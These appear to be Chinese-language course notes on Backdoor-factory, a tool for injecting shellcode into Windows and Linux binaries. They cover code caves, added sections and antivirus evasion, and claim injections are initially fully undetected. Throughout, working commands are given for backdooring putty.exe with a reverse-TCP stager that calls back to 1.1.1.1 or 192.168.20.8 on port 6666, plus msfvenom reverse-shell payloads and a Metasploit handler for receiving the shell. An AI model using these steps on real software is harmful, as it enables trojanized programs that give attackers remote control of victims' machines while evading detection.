Backdoor-factory
Python语言编写
Patch
通过替换EXE、DLL、注册表的方法修复系统漏洞或问题的方法
BDF
向二进制文件中增加或者删除代码内容,某些受保护的二进制程序无法patch,存在一定概率文件会损坏
后门工厂
适用于windows PE x32/x64 和 linux ELF x32/x64 mac os os x
支持msf payload、自定义的payload
其他的是在后边加一段代码,BDF是在现有的代码段之间找缝隙,在缝隙里存放代码,也可以在后面加。
msf使用的patch方法
覆盖程序入口,直接生成的exe执行程序是覆盖了程序入口
msfvenom -p windows/shell/reverse_tcp ......
创建新的线程执行shellcode并跳到原程序入口
增加代码片段跳转执行后跳回原程序的入口
msfvenom -p windows/shell/reverse_tcp –k
CTP方法
新增新的代码段section,与msf的-k方法类似
使用现有的代码裂缝/洞(code cave)存放shellcode
代码洞
二进制文件中超过两个字节的连续的x00区域(代码片段间的区域)
用多个小的代码洞,结合跳转机制,免杀效果更好
根据统计判断,代码洞是编译器在进行编译时造成的,不同的编译器造成的代码洞的大小不同
单个代码洞大小不足以存放完整的shellcode
多代码洞跳转,初期免杀百分百
当洞不够用的时候,结合msf的stager方法
先插入一段调用下一阶段代码的代码
patch选项
附加代码段 -a
单代码洞注入
多代码洞注入
BDF基本使用
检查二进制文件是否支持注入
backdoor-factory -f putty.exe –S
-f 指定要注入的正常文件
-S 检测是否能够注入
查看cave的大小
ackdoor-factory -f putty.exe -c -l
显示可用的payload
backdoor-factory -f putty.exe -s show
老师常用的
iat_reverse_tcp_stager_threaded
单代码洞注入
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666
多代码洞注入
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666 –J
在二进制程序后添加shellcode
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -a -H
192.168.20.8 -P 6666
-H 连的目标
-P 连的端口
启动msf侦听
use exploit/multi/handler
可以与veil-evasion集成使用
IAT(import address table)
指针指向WinAPI地址,被成为thunks(形实转换程序),地址预定义,所以克服了寻找shellcode的麻烦